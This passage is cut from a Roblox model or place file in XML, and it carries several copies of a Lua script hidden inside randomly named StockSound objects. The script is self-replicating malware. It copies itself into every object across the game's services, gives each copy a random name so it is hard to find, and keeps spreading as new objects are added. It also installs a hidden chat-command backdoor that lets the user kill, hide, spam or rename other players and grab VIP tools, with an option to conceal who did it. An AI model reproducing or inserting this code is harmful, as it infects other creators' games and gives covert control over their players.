end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX628">
						<Properties>
							<float name="Health">0</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX629">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">4gadbh</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX630">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ozpet</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX631">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ca6o1gdpy</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX632">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">34jr5f8</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
